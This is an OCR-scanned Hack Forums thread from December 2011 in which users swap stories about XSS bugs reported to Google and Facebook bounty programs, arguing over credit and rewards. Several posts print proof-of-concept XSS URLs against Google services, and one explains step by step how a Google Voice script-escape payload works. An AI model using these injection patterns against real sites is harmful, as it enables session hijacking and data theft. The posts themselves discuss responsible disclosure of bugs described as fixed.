you're asking him if you can be his partner in the xss he found in facebook even though his the only
one who found it. ?

h@cp - December 22, 2011, 3:04 pm

| did not find THIS facebook XSS but he talked on facebook and he said | could get hall of fame with
him since | didnt get for my XSS at facebook, and its true that | have found at facebook, google,
microsoft, apple and hf

elvinguitar - December 22, 2011, 3:07 pm

Quote:l did not find THIS facebook XSS but he talked on facebook and he said | could get hall of
fame with him since | didnt get for my XSS at facebook, and its true that | have found at facebook,
google, microsoft, apple and hf
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| still don't believe whether it's true or not. Can you show a proof of the email of the companies?
By the way, this was White said on page 10 of this thread
Quote:He asked if he could be on with me so i told Facebook he was my partner.

Quote:He just kept asking and it got annoying so i just got tired of his whining so i just lied and said
he was my partner i really don't know why i said it.

He said that you're the one who's asking not him.

h@cp - December 22, 2011, 3:13 pm
Well White SHOULD vouch for me cuz | kinda helped him with XSS, but | don't think he took my
hint:P and if you really want proof pm me and | you can tv me and see the mail

elvinguitar - December 22, 2011, 3:14 pm

(Dec 22, 2011 04:13 PM)h@cp Wrote: [CITE] Well White SHOULD vouch for me cuz | kinda helped
him with XSS, but | don't think he took my hint:P and if you really want proof pm me and | you can tv
me and see the mail

| don't want to argue about it. Just, congrats on your job! :)

~IWhite!~ - December 22, 2011, 3:20 pm
You sent facebook an email saying you were my partner. | never asked for HoF but you kept telling
me to tell them and say that you were my partner and say that you helped me when you never did.

elvinguitar - December 22, 2011, 3:22 pm

(Dec 22, 2011 04:20 PM)~!White!~ Wrote: [CITE] You sent facebook an email saying you were my
partner. | never asked for HoF but you kept telling me to tell them and say that you were my partner
and say that you helped me when you never did.So that's the truth! ? What can you say h@cp?

h@cp - December 22, 2011, 3:26 pm

White... okay | helped you with XSS for ages ago, all you did was testing random inputs for a list of
codes with no idea why it happened or how things where filtered, | tried to tell you about that over tv,
remember? and For this xss yes it was found by you no question there. but you said | could be on if
you found one at facebook. ( you said it before ) and then you found one and | asked if you told
them it and bla bla bla...

And not forget | helped you with where to look for one at Facebook.

iIHELP4FREE - December 23, 2011, 2:14 pm
how do you make money for this ?? thanks would help if you could inbox me :D

elvinguitar - December 25, 2011, 5:03 am

(Dec 23, 2011 03:14 PM)IHELP4FREE Wrote: [CITE] how do you make money for this ?? thanks
would help if you could inbox me :D
http://www.google.com/about/corporate/company/rewardprogram.html

read that bro! :)

UPDATE: Added the 4th XSS i've found. ? but sadly, it's a self-xss so no reward.
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h@cp - December 26, 2011, 10:06 am
(Dec 25, 2011 06:03 AM)elvinguitar Wrote: [CITE]
http://www.google.com/about/corporate/company/rewardprogram.html

read that bro! ;)

UPDATE: Added the 4th XSS i've found. ? but sadly, it's a self-xss so no reward.
Kidding me? lool, white got 1k for a self XSS. A really easy self XSS. and by fb | got $500 for a self
persistent XSS

zerOpwn - December 26, 2011, 10:09 am
Whenever | report XSS to a site, they don't give a shit. | reported my Persistent XSS to Bing.com,
and they don't care, xD!

So I'm going to share it on here soon :)

Girby2K11 - December 26, 2011, 10:50 am
Shit! Your getting paid that much? Whoa.

H?ck - December 26, 2011, 12:54 pm
Damn im in need of a pay day too...

elvinguitar - December 26, 2011, 11:45 pm

(Dec 26, 2011 11:06 AM)h@cp Wrote: [CITE] Kidding me? lool, white got 1k for a self XSS. A really
easy self XSS. and by fb I got $500 for a self persistent XSS

I'm not kidding bro. Here's there email to me.

Quote:Hey Elvin

The panel has determined this bug didn't meet the threshold for a reward. It's what we refer to as a
"self XSS" -- the only way a user can be compromised is if they copy/paste the exploit payload into
the vulnerable field.

We did file a bug so would give credit, but you're already on the hall of fame for this quarter ;)

Cheers,
Adam

White is so lucky if Google paid him for a self-xss.

(Dec 26, 2011 11:09 AM)//#- ZerOPwn -#// Wrote: [CITE] Whenever | report XSS to a site, they don't
give a shit. | reported my Persistent XSS to Bing.com, and they don't care, xD!

So I'm going to share it on here soon :)Hahahahaha! ? How's your persistent in fb bro? Did you
already report it to fb? Also, Microsoft Security Team really don't give a shit! | already reported 2
reflected xss and 1 persistent, and yet they are not communicating with me well.

(Dec 26, 2011 11:50 AM)Girby2K11 Wrote: [CITE] Shit! Your getting paid that much? Whoa.
Yeah! I'm getting paid that much bro. ?

(Dec 26, 2011 01:54 PM)Hemps Wrote: [CITE] Damn im in need of a pay day too...You better start
looking for xss. ?
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~IWhite!~ - December 26, 2011, 11:58 pm
Ya i did get lucky

Quote:Hi Belmin
Congratulations! $1000 for this one.

I know that you reported some similar self XSS issues in past so there is some background info why
we decided to reward for this one. The panel has discussed it and decided to reward it because it's
on sensitive domain (accounts.google.com) and the payload can be passed using parameter.

Please let me know if you have any further questions.

Cheers,
Martin

| think it was because it was on accounts.google.com

elvinguitar - December 27, 2011, 12:00 am
(Dec 27, 2011 12:58 AM)~IWhite!~ Wrote: [CITE] Ya i did get lucky

| think it was because it was on accounts.google.com
Yeah! Maybe it's because it's on accounts.google.com. You're so lucky bro! By the way, did you
already receive all your rewards?

~IWhite!~ - December 27, 2011, 12:01 am

(Dec 27, 2011 01:00 AM)elvinguitar Wrote: [CITE] Yeah! Maybe it's because it's on
accounts.google.com. You're so lucky bro! By the way, did you already receive all your rewards?
No not yet they said it takes 4-6 Weeks.

My merchant account got verified on Nov. 18th, so it's been close to the 6 week mark which ends
Dec. 30th.

elvinguitar - December 27, 2011, 12:08 am
(Dec 27, 2011 01:01 AM)~!White!~ Wrote: [CITE] No not yet they said it takes 4-6 Weeks.

My merchant account got verified on Nov. 18th, so it's been close to the 6 week mark which ends
Dec. 30th.

I'm now having a problem regarding the money they are going to send because | don't have a bank
account so I'm using my father's account and my father's account was the one I've used in filling up
the supplier form and the w8ben. But the real problem is that, my father's account is a "peso
savings" only, which means it cannot receive dollars.

Any help regarding it bro? I'm now making a request to them if they can send it via Western Union
or via door-to-door.

~IWhite!~ - December 27, 2011, 12:11 am

(Dec 27, 2011 01:08 AM)elvinguitar Wrote: [CITE] I'm now having a problem regarding the money
they are going to send because | don't have a bank account so I'm using my father's account and
my father's account was the one I've used in filling up the supplier form and the w8ben. But the real
problem is that, my father's account is a "peso savings" only, which means it cannot receive dollars.
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Any help regarding it bro? I'm now making a request to them if they can send it via Western Union
or via door-to-door.

| didn't use my bank account either. My brother let me use his, so i really don't what you can do,
and i don't know if Google does WU or if they even ship it, but it's worth a try. Hope you can actually
get the money :)

elvinguitar - December 27, 2011, 12:15 am

(Dec 27, 2011 01:11 AM)~!White!~ Wrote: [CITE] | didn't use my bank account either. My brother let
me use his, so i really don't what you can do, and i don't know if Google does WU or if they even
ship it, but it's worth a try. Hope you can actually get the money :)You're so lucky bro! ? | can't even
let myself open a dollar savings account because | don't have the money (dollars) to deposit as |
open the account. ?

Entitled - December 27, 2011, 12:20 am

(Dec 27, 2011 01:15 AM)elvinguitar Wrote: [CITE] You're so lucky bro! ? | can't even let myself open
a dollar savings account because | don't have the money (dollars) to deposit as | open the account.
?Please contact them. Let them know that you are underage and or you need to have the payment
sent via western union

elvinguitar - December 27, 2011, 12:23 am

(Dec 27, 2011 01:20 AM)Entitled Wrote: [CITE] Please contact them. Let them know that you are
underage and or you need to have the payment sent via western unionl'm already making a request
to them regarding my condition.

0x74697069 - December 28, 2011, 12:25 pm

Seems like | found a persistent XSS injection on one of Google's official websites.

| sent an e-mail to the Google security team, but | don't expect too much. Even though I'm quite
exited! :D

E: Yep, confirmed by the Google Security team! <(*./<)

elvinguitar - December 28, 2011, 3:54 pm

(Dec 28, 2011 01:25 PM)0x74697069 Wrote: [CITE] Seems like | found a persistent XSS injection on
one of Google's official websites.

| sent an e-mail to the Google security team, but | don't expect too much. Even though I'm quite
exited! :D

E: Yep, confirmed by the Google Security team! <(*./<)

You're so lucky bro! It's really hard finding a persistent xss in google. ? since it's already been
approved by google. would you mind if i take a look at it? PM me bro.

0x74697069 - December 28, 2011, 4:25 pm

(Dec 28, 2011 04:54 PM)elvinguitar Wrote: [CITE] You're so lucky bro! It's really hard finding a
persistent xss in google. ? since it's already been approved by google. would you mind if i take a
look at it? PM me bro.Sorry mate, will wait 'till it's fixed. Then I'll ask permission to do so.

Forgive me for this delay, but I'm very discrete with that kind of information. | don't say | don't trust
you, but | think it's better to wait until everything is fixed. | hope you understand. ?


https://hackforums.net/showthread.php?pid=18530640#pid18530640
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Ironically enough it took only a couple of hours to find that one. Been searching like a freak now,
but I can't find another one. Anyways, | won't give up, it's fun! Just gotta be damn patient.. and
creative. :P

elvinguitar - December 28, 2011, 4:45 pm

(Dec 28, 2011 05:25 PM)0x74697069 Wrote: [CITE] Sorry mate, will wait 'till it's fixed. Then I'll ask
permission to do so.

Forgive me for this delay, but I'm very discrete with that kind of information. | don't say | don't trust
you, but I think it's better to wait until everything is fixed. | hope you understand. ?

Ironically enough it took only a couple of hours to find that one. Been searching like a freak now,
but I can't find another one. Anyways, | won't give up, it's fun! Just gotta be damn patient.. and
creative. :P

Just show us some proof if it's really true or not. Hahaha. ?

anyway, Good luck!

0x74697069 - December 28, 2011, 4:56 pm

Don't worry, took a screencap ofc! ;-) and made a videoclip with my mobile phone. That would be
hard to fake, huh? :D

| will provide more information when this case is closed, if I'm allowed to do so. Otherwise | might
popup in the hall of fame. | think that'd be enough evidence.

elvinguitar - December 28, 2011, 5:09 pm

(Dec 28, 2011 05:56 PM)0x74697069 Wrote: [CITE] Don't worry, took a screencap ofc! ;-) and made
a videoclip with my mobile phone. That would be hard to fake, huh? :D

| will provide more information when this case is closed, if I'm allowed to do so. Otherwise | might
popup in the hall of fame. | think that'd be enough evidence.

Of course disclosing it is allowed. ? anyway, we'll just wait for it.

Zain - December 28, 2011, 6:43 pm
Wow | had no idea that google paid for people to find exploits. That's sweet, always thought xss
could only be used for "evil" lol.

elvinguitar - December 28, 2011, 7:21 pm

(Dec 28, 2011 07:43 PM)Zain Wrote: [CITE] Wow | had no idea that google paid for people to find
exploits. That's sweet, always thought xss could only be used for "evil" lol.

Here's the link: http://www.google.com/about/corporate/company/rewardprogram.htmi

0x74697069 - December 29, 2011, 4:33 am
Found another one. This one is meh-ish though, | don't expect to get a reward for it, anyways, it's
nice to find one ofc. Will post more information as soon as my new entry case is closed. :-)

nastyfab - December 29, 2011, 4:37 am
Woooow.
Keep up the good work and enjoy the money #

Best whishes Thomas

elvinguitar - December 29, 2011, 5:09 am

(Dec 29, 2011 05:33 AM)0x74697069 Wrote: [CITE] Found another one. This one is meh-ish though,
| don't expect to get a reward for it, anyways, it's nice to find one ofc. Will post more information as
soon as my new entry case is closed. :-)
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It seems you are doing hard bro. :) keep it up! we'll wait for you to disclose it. ?
I'll start looking for xss again once I'm done with my homeworks. ?

(Dec 29, 2011 05:37 AM)nastyfab Wrote: [CITE] Woooow.
Keep up the good work and enjoy the money #

Best whishes ThomasThanks bro! ?

Razor4x 5_0 - December 29, 2011, 5:20 am
powerfull xss finder real , congrats from razor4x :)

elvinguitar - December 29, 2011, 5:26 am
(Dec 29, 2011 06:20 AM)Razor4x 5_0 Wrote: [CITE] powerfull xss finder real , congrats from razor4x
)

Thanks bro! ? anyway you're a powerful sql injector! ? ?

"S" - December 29, 2011, 5:37 am
First | must congratulate you, great! Then | have a question: how did you find the XSS? Or rather
where you went, what have you examined? And if u have used some tools, what? Thanks for the

reply!

elvinguitar - December 29, 2011, 5:56 am

(Dec 29, 2011 06:37 AM)"S Wrote: [CITE] First | must congratulate you, great! Then | have a
guestion: how did you find the XSS? Or rather where you went, what have you examined? And if u
have used some tools, what? Thanks for the reply!Thanks bro! ? How did | find them? I just simple
crawl google manually. ? yeah! I'm using some tools. It's called brain.dll

MaXoNe - December 29, 2011, 6:00 am

@"S" third vulnerable link he found is : https://www.google.com/voice/rates?p=
Lets try https://www.google.com/voice/rates?p=XSS

we get our input inside script tag (view the source of page) :

<script>
var callingRatesPage = new _callingRatesPage(
‘en’,
'USD','XSS");
callingRatesPage.render(document.getElementByld(‘calling-rates-page"));
</script>

You see the XSS that is our input , it is closed with *); , so his XSS payload was :
");alert("XSS by elvinguitar") ;</script> so lets review the source :

<script>
var callingRatesPage = new _callingRatesPage(
|en|’
'USD'," ); alert("XSS by elvinguitar") ;</script>
callingRatesPage.render(document.getElementByld(‘calling-rates-page"));
</script>

First he closed (escaped from the value) the _callingRatesPage value (callingRatesPage variable)
with ); and added new alert("XSS by elvinguitar") ; Javascript event , and then closed the opened


https://hackforums.net/showthread.php?pid=18595338#pid18595338
https://hackforums.net/showthread.php?pid=18595968#pid18595968
https://hackforums.net/showthread.php?pid=18596206#pid18596206
https://www.google.com/voice/rates?p
https://www.google.com/voice/rates?p=XSS

javascript tag <script> with </script> and since he is inside the javascript tag there was no need for
opening <script> tag. That is what happened , in order to understand this fully you should have
basic knowledge of Javascript and HTML :)

I'm reenabling his findings inside the lab environment for my paper on XSS attacks , i have
reviewed and explained every XSS he found :) .My XSS findings are always on sites beneath 100
rank on Alexa , hope to find one on big sites like Google or Facebook , not for the money , just to put
| love you Jovana on HoF :)

elvinguitar - December 29, 2011, 6:11 am

(Dec 29, 2011 07:00 AM)MaXoNe Wrote: [CITE] @"S" third vulnerable link he found is :
https://www.google.com/voice/rates?p=

Lets try https://www.google.com/voice/rates?p=XSS

we get our input inside script tag (view the source of page) :

<script>
var callingRatesPage = new _callingRatesPage(
‘en’,
'USD','XSS");
callingRatesPage.render(document.getElementByld(‘calling-rates-page’));
</script>

You see the XSS that is our input , it is closed with *); , so his XSS payload was :
");alert("XSS by elvinguitar") ;</script> so lets review the source :

<script>
var callingRatesPage = new _callingRatesPage(
|en|’
'USD'," ); alert("XSS by elvinguitar") ;</script>
callingRatesPage.render(document.getElementByld(‘calling-rates-page"));
</script>

First he closed (escaped from the value) the _callingRatesPage value (callingRatesPage variable)
with ); and added new alert("XSS by elvinguitar") ; Javascript event , and then closed the opened
javascript tag <script> with </script> and since he is inside the javascript tag there was no need for
opening <script> tag. That is what happened , in order to understand this fully you should have
basic knowledge of Javascript and HTML :)

I'm reenabling his findings inside the lab environment for my paper on XSS attacks , i have
reviewed and explained every XSS he found :) .My XSS findings are always on sites beneath 100
rank on Alexa , hope to find one on big sites like Google or Facebook , not for the money , just to put
| love you Jovana on HoF :)

Very well and detailed explanation! ? By the way bro, how's the paper you're working on? Just
update me when you're done with it.

MaXoNe - December 29, 2011, 9:11 am

It's going great , | have taken this XSS you found and some others from Xssed . | will post it as
tutorial , and | got 20 $ for an xss , in Bosnia | can be drunk for 3 days with it :)

elvinguitar - December 29, 2011, 9:16 am
(Dec 29, 2011 10:11 AM)MaXoNe Wrote: [CITE] It's going great , | have taken this XSS you found

and some others from Xssed . | will post it as tutorial , and | got 20 $ for an xss , in Bosnia | can be
drunk for 3 days with it :)
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How did you get a $20 for XSS bro? | want to report my XSS in big companies for a reward. | really
need money right now. Google has not send the money yet. ?

By the way, I've found a stored XSS in google. | hope I'm the one to report it. ?

_W4R3Z_ - December 29, 2011, 9:37 am
i wish i will be able to find some new XSS and get paid for it :D

MaXoNe - December 29, 2011, 9:46 am

| found persistent XSS inside the big online sell and buy market , so they sent me 20$ as a reward ,
and | picked it up , in their office in my city , and well done for that XSS you are killing google :) , |
tried finding one but it's a hard job for one person , a team of 2 or 3 people could do it faster , I've
seen some posts on HF about XSS teams , but my motto is "Trust nobody" .On some sites they
gave me credit for online calls and free gifts. Some admins threatened me that they will send me to
jail . You just get used to is :)

jebosamvas - December 29, 2011, 11:18 am
Wow dude | like you. You are so great. | wan to be like you when | grow up. :)

elvinguitar - December 29, 2011, 2:51 pm

(Dec 29, 2011 10:37 AM)_W4R3Z_ Wrote: [CITE] i wish i will be able to find some new XSS and get
paid for it :D

you can also do it bro. ?

(Dec 29, 2011 10:46 AM)MaXoNe Wrote: [CITE] | found persistent XSS inside the big online sell and
buy market , so they sent me 20$ as a reward , and | picked it up , in their office in my city , and well
done for that XSS you are killing google :) , | tried finding one but it's a hard job for one person , a
team of 2 or 3 people could do it faster , I've seen some posts on HF about XSS teams , but my
motto is "Trust nobody" .On some sites they gave me credit for online calls and free gifts. Some
admins threatened me that they will send me to jail . You just get used to is :)Only $20 for persistent
XSS? Too low bro! Anyway, | have lots of xss on big companies. | just don't know how will | report it
properly so that they will trust me and , hopefully, get some reward. | have found lots of
vulnerabilities in one of the largest bank here in our country but I'm still not reporting it since they
might reply that they will send me to jail. Hehehe. ?

(Dec 29, 2011 12:18 PM)jebosamvas Wrote: [CITE] Wow dude | like you. You are so great. | wan to
be like you when | grow up. :)I suggest you start studying XSS now! ?

BioFrag - December 29, 2011, 2:55 pm
(Dec 14, 2011 09:20 PM)elvinguitar Wrote: [CITE] Google Image XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Google XSS.jpg[/IMG]

Link:

Code
www.google.com/search?q=google&hl=en&gbv=2&biw=1024&bih=664&noj=1&tbs=isz:ex,iszw:"><s
cript>alert("XSS by elvin") ;</script>,iszh:"><script>alert("XSS by elvin")
;</[script>&tbm=isch&source=Int&sa=X&ei=9NSxTpLhEIGaiQfDrsDLAg&ved=0CBIQpwUoBQ
Status: Fixed

Reward: $500
Spoiler (Click to View)
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javascript:void(0);

[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GooglelmageEmail.jpg[/IMG]
Google Fusion Table XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTableXSS.jpg[/IMG]

Link:

Code www.google.com/fusiontables/DataSource?dsrcid=2257355"><script>alert("XSS by
elvinguitar") ;</script>

Status: Fixed

Reward: $1000
Spoiler (Click to View)
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleFusionTableEmail.jpg[/IMG]

Google Voice XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleVoicel.jpg[/IMG]

Link:

Code
https://www.google.com/voice/rates?p=%27%29;alert%28%22XSS%20by%20elvinguitar%22%29%
20;%3C/script%3E

Status: Fixed

Reward: $1000
Spoiler (Click to View)
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/Capture-1.jpg[/IMG]

Google Analytics XSS

Screenshot:
[IMG]http://i302.photobucket.com/albums/nn105/elvinguitar/GoogleAnalytics3.jpg[/IMG]

Link:

Code
https://www.google.com/webmasters/tools/analytics-site-selection?hl=en_US&property=52763343&
continue=https://www.google.com/analytics/web/%23management/Property/a27475416w52763343
p53555485/?propertyComposite.tabld%3DpropertySettingsTab/

Status: Fixed

Reward: $0 since it's only a self-XSS

Hall of Fame:
http://www.google.com/about/corporate/company/halloffame.htmi

| just want to show my achievements that's why this thread was created. No flaming. ?
| just want to add also that I'm now waiting for the reward of my new XSS report on Google. ?
Damn nice dude, Google hall of fame (": I'm so proud LOL! c:! But nice bro.


javascript:void(0);
javascript:void(0);
http://www.google.com/about/corporate/company/halloffame.html

-TheOmen- - December 29, 2011, 2:57 pm
Holy sh*t bro, nice job and its always good seeing you actually got paid.

elvinguitar - December 29, 2011, 3:48 pm

(Dec 29, 2011 03:57 PM)-TheOmen- Wrote: [CITE] Holy sh*t bro, nice job and its always good
seeing you actually got paid.

Thanks bro! ? I'm kinda excited. Google already reminded me that they will send the money soon. ?

~IWhite!~ - December 29, 2011, 3:54 pm

(Dec 29, 2011 04:48 PM)elvinguitar Wrote: [CITE] Thanks bro! ? I'm kinda excited. Google already
reminded me that they will send the money soon. ?

Lucky i should ask them about my money i still haven't got any of it :(

elvinguitar - December 29, 2011, 4:01 pm

(Dec 29, 2011 04:54 PM)~!White!~ Wrote: [CITE] Lucky i should ask them about my money i still
haven't got any of it :(

Yeah! You should ask them! | think it's already the end of the 4-6 weeks processing time they said.

~IWhite!~ - December 29, 2011, 4:02 pm

(Dec 29, 2011 05:01 PM)elvinguitar Wrote: [CITE] Yeah! You should ask them! | think it's already the
end of the 4-6 weeks processing time they said.

Ya i did. | sent them an email saying it's been 6 weeks already and still haven't received any
money. | hope they respond so i know when im going to get it.

elvinguitar - December 29, 2011, 4:08 pm

(Dec 29, 2011 05:02 PM)~!'White!~ Wrote: [CITE] Ya i did. | sent them an email saying it's been 6
weeks already and still haven't received any money. | hope they respond so i know when im going
to get it. This is what I've observe. Google sends a reply to your email only once a day. Don't know
why. Hahahaha! ? At least they are more communicative than the others like Microsoft and Apple.

Hariz - December 29, 2011, 7:26 pm
Really impressed dude and congrats for the hall of fame spot, well done!

elvinguitar - December 30, 2011, 12:40 am

(Dec 29, 2011 08:26 PM)Hariz Wrote: [CITE] Really impressed dude and congrats for the hall of
fame spot, well done!

Thanks dude! ? Hopefully, I will get my HoF spot on apple, microsoft and facebook soon. ?

h@cp - December 30, 2011, 7:56 am

(Dec 29, 2011 05:08 PM)elvinguitar Wrote: [CITE] This is what I've observe. Google sends a reply to
your email only once a day. Don't know why. Hahahaha! ? At least they are more communicative
than the others like Microsoft and Apple.

Only once a day? When | talked with them they first used 2 days to reply and then it only took 5
mins for them to reply to me and we had many messages the same day

elvinguitar - December 30, 2011, 8:01 am

(Dec 30, 2011 08:56 AM)h@cp Wrote: [CITE] Only once a day? When | talked with them they first
used 2 days to reply and then it only took 5 mins for them to reply to me and we had many
messages the same dayBut in my case, when I'm reporting to them. They only reply to my message
once a day. sometimes, once every 2 days.
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Deluxesolo - December 30, 2011, 8:15 am
great job!! | think everyone wishes to have the same skills as you have, its so awesome to watch
this from view of a newbie like me,

MaXoNe - December 30, 2011, 8:17 am

@elvinguitar can you tell me which companies have reward system like Google or fb etc...

It would be great to have that list :)

And | hope you'll get your money soon , it's new year soon , everything gets delayed during that
time...

h@cp - December 30, 2011, 8:18 am
Microsoft and Apple gives hall of fame but not money but mozilla gives money

elvinguitar - December 30, 2011, 9:21 am

(Dec 30, 2011 09:15 AM)Deluxesolo Wrote: [CITE] great job!! | think everyone wishes to have the
same skills as you have, its so awesome to watch this from view of a newbie like me,

Hehehe. ? Thanks bro! Everyone can also be like. Also note that there are many people who are
better than me. ?

(Dec 30, 2011 09:17 AM)MaXoNe Wrote: [CITE] @elvinguitar can you tell me which companies
have reward system like Google or fb etc...

It would be great to have that list :)

And | hope you'll get your money soon , it's new year soon , everything gets delayed during that
time...The companies that give rewards are Google, Facebook, Mozilla, Drupal, and Wordpress.
That's all I know!

Yeah! Hopefully, | can get the money. ?

BioFrag - December 30, 2011, 10:29 am
| still can't get over this, Nice bro :D!' Google Hall of fame, That's pretty beast.

elvinguitar - December 30, 2011, 10:37 am

(Dec 30, 2011 11:29 AM)BioFrag Wrote: [CITE] | still can't get over this, Nice bro :D!! Google Hall of
fame, That's pretty beast.

I'm kinda sad right now. ? I've been crawling google for almost 12 hrs today and | still can't find an
XSS. ? Shower me with your luck guys!

0x74697069 - December 30, 2011, 1:17 pm

(Dec 30, 2011 11:37 AM)elvinguitar Wrote: [CITE] I'm kinda sad right now. ? I've been crawling
google for almost 12 hrs today and | still can't find an XSS. ? Shower me with your luck guys!

| know that feeling bro. But don't give up! This morning, | got tired of it and decided to try one last
idea. The result? A new persistent XSS, the most dangerous I've found yet. ?

When these cases are closed, | will probably create a new topic featuring my XSS'es (including the
XSS that aren't eligible for a reward for various reasons, they are nice though :) )

elvinguitar - December 30, 2011, 4:05 pm

(Dec 30, 2011 02:17 PM)0x74697069 Wrote: [CITE] | know that feeling bro. But don't give up! This
morning, | got tired of it and decided to try one last idea. The result? A new persistent XSS, the most
dangerous I've found yet. ?

When these cases are closed, | will probably create a new topic featuring my XSS'es (including the
XSS that aren't eligible for a reward for various reasons, they are nice though :) )

You're too lucky bro! Congrats! Just update me if you're going to disclose it.
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saintcracker - December 30, 2011, 4:32 pm
Buddy hats off to you, you are simply awesome :)

elvinguitar - December 30, 2011, 4:38 pm
(Dec 30, 2011 05:32 PM)saintcracker Wrote: [CITE] Buddy hats off to you, you are simply awesome
)

thanks bro! ? so unlucky right now. ? i can't find anymore xss in google.

~IWhite!~ - December 30, 2011, 4:39 pm

(Dec 30, 2011 05:38 PM)elvinguitar Wrote: [CITE] thanks bro! ? so unlucky right now. ? i can't find
anymore xss in google.

You just have to keep looking you will find them some sooner or later. :)

saintcracker - December 30, 2011, 4:44 pm

(Dec 30, 2011 05:38 PM)elvinguitar Wrote: [CITE] thanks bro! ? so unlucky right now. ? i can't find
anymore xss in google.

? guess you found all of them, so its not unlikely ? but then, Google is just vast, so am sure vul
would still show up somewhere, just keep up your good work bro ?

Machiavellian - December 30, 2011, 4:51 pm

OMG Google is generous for people that help ! Very but really good job mate !! continue on this
voice elvin ;)

Awesome member !

elvinguitar - December 30, 2011, 4:56 pm

(Dec 30, 2011 05:39 PM)~!White!~ Wrote: [CITE] You just have to keep looking you will find them
some sooner or later. :)

(Dec 30, 2011 05:44 PM)saintcracker Wrote: [CITE] ? guess you found all of them, so its not unlikely
? but then, Google is just vast, so am sure vul would still show up somewhere, just keep up your
good work bro ?

Nah! Someone is sending me PM telling me that he found 4 xss. | just don't know if it's real or not,
until he disclose it to us. I'm getting frustrated! | can't find one! Grrrr! ?

(Dec 30, 2011 05:51 PM).Jackhack Wrote: [CITE] OMG Google is generous for people that help !
Very but really good job mate !! continue on this voice elvin ;)

Awesome member !
Thanks bro! ? But i'm kinda frustrated right now

Machiavellian - December 30, 2011, 5:09 pm
| hope for you that you will find one bro because i read that you already spent searching for a 12H, if
you find one today 31december you wish them a happy new year from Jackhack ?

elvinguitar - December 30, 2011, 5:12 pm

(Dec 30, 2011 06:09 PM).Jackhack Wrote: [CITE] | hope for you that you will find one bro because i
read that you already spent searching for a 12H, if you find one today 31december you wish them a
happy new year from Jackhack ?Thanks bro! Give to me all your lucks! ? Honestly, | only slept 3 hrs
this night. | slept 3am and then woke up 6am just to find xss. But still unlucky.

Anyway, I'll continue this later! Gotta do something important! ?


https://hackforums.net/showthread.php?pid=18641829#pid18641829
https://hackforums.net/showthread.php?pid=18642017#pid18642017
https://hackforums.net/showthread.php?pid=18642017#pid18642017
https://hackforums.net/showthread.php?pid=18642058#pid18642058
https://hackforums.net/showthread.php?pid=18642202#pid18642202
https://hackforums.net/showthread.php?pid=18642389#pid18642389
https://hackforums.net/showthread.php?pid=18642838#pid18642838

ADVANCE HAPPY NEW YEARI!!! ?

Machiavellian - December 30, 2011, 5:20 pm
You have all my lucky ! 3h bro lol,you are brave for keep your head front of the pc at find XSS ?

Happy NewYear to you too & good night also you need it after all this works bro !

elvinguitar - December 30, 2011, 6:55 pm
(Dec 30, 2011 06:20 PM).Jackhack Wrote: [CITE] You have all my lucky ! 3h bro lol,you are brave for
keep your head front of the pc at find XSS ?

Happy NewYear to you too & good night also you need it after all this works bro !thanks bro! I'm
back! ? I'll start looking for XSS again. ?

Scifen - December 30, 2011, 7:42 pm
how do u find exploits i dont get it

elvinguitar - December 30, 2011, 7:46 pm
(Dec 30, 2011 08:42 PM)Scifen Wrote: [CITE] how do u find exploits i dont get it
You won't get it if you don't know "search" ?

Professional Hacker - December 31, 2011, 12:00 am
Well, enjoy the money mate and keep researching.

saintcracker - December 31, 2011, 2:48 am

(Dec 30, 2011 05:56 PM)elvinguitar Wrote: [CITE] Nah! Someone is sending me PM telling me that
he found 4 xss. | just don't know if it's real or not, until he disclose it to us. I'm getting frustrated! |
can't find one! Grrrr! ?

Thanks bro! ? But i'm kinda frustrated right now
Don't get frustrated, am sure you would find the vuls ?

SUP3RM4N - December 31, 2011, 9:22 am
good job man, and u deserve your rewards, keep up the good work!

elvinguitar - December 31, 2011, 4:34 pm

(Dec 31, 2011 03:48 AM)saintcracker Wrote: [CITE] Don't get frustrated, am sure you would find the
vuls ?

(Dec 31, 2011 10:22 AM)SUP3RM4N Wrote: [CITE] good job man, and u deserve your rewards,
keep up the good work!

Thanks to both of you! ? by the way, Happy New Year!! ? Let's start looking XSS in google. ?

saintcracker - December 31, 2011, 5:23 pm

(Dec 31, 2011 05:34 PM)elvinguitar Wrote: [CITE] Thanks to both of you! ? by the way, Happy New
Year!! ? Let's start looking XSS in google. ?

Thanks buddy ? and ? Happy New Year to you too!!!?

?Sure lets start looking for the vuls ?.. Thats the spirit ?


https://hackforums.net/showthread.php?pid=18643089#pid18643089
https://hackforums.net/showthread.php?pid=18646387#pid18646387
https://hackforums.net/showthread.php?pid=18642508#pid18642508
https://hackforums.net/showthread.php?pid=18654340#pid18654340
https://hackforums.net/showthread.php?pid=18660442#pid18660442
https://hackforums.net/showthread.php?pid=18670432#pid18670432

elvinguitar - December 31, 2011, 6:08 pm

(Dec 31, 2011 06:23 PM)saintcracker Wrote: [CITE] Thanks buddy ? and ? Happy New Year to you
too!!l?

?Sure lets start looking for the vuls ?.. Thats the spirit ?

Thanks bro! ? Let's have all the luck to find vulns.

Wilcox - December 31, 2011, 9:27 pm
Congrats man, that is a huge achievement.

0x74697069 - January 1, 2012, 5:42 am

(Dec 30, 2011 05:56 PM)elvinguitar Wrote: [CITE] Nah! Someone is sending me PM telling me that
he found 4 xss. | just don't know if it's real or not, until he disclose it to us. I'm getting frustrated! |
can't find one! Grrrr! ?

Will do, but the Google Security team is on holidays right now. ?

Btw, | won't get a reward for two of the four XSS'es because of several reasons that | will post here
as soon as the bugs are fixed.

| can't find anything either now.. waiting for Google to release a new vulnerable product. ?

elvinguitar - January 1, 2012, 5:47 am

(Jan 1, 2012 06:42 AM)0x74697069 Wrote: [CITE] Will do, but the Google Security team is on
holidays right now. ?

Btw, | won't get a reward for two of the four XSS'es because of several reasons that | will post here
as soon as the bugs are fixed.

| can't find anything either now.. waiting for Google to release a new vulnerable product. ?
Me too! | can't find any more xss. You're too lucky bro! Maybe if | didn't take a break in finding xss,
I'd be the one who found the xss you've found. Hehehe. ?

FastFive - January 1, 2012, 9:20 am
were those all persistant? man you are a lucky guy or genius

0x74697069 - January 1, 2012, 11:36 am

(Jan 1, 2012 10:20 AM)FastFive Wrote: [CITE] were those all persistant? man you are a lucky guy or
genius

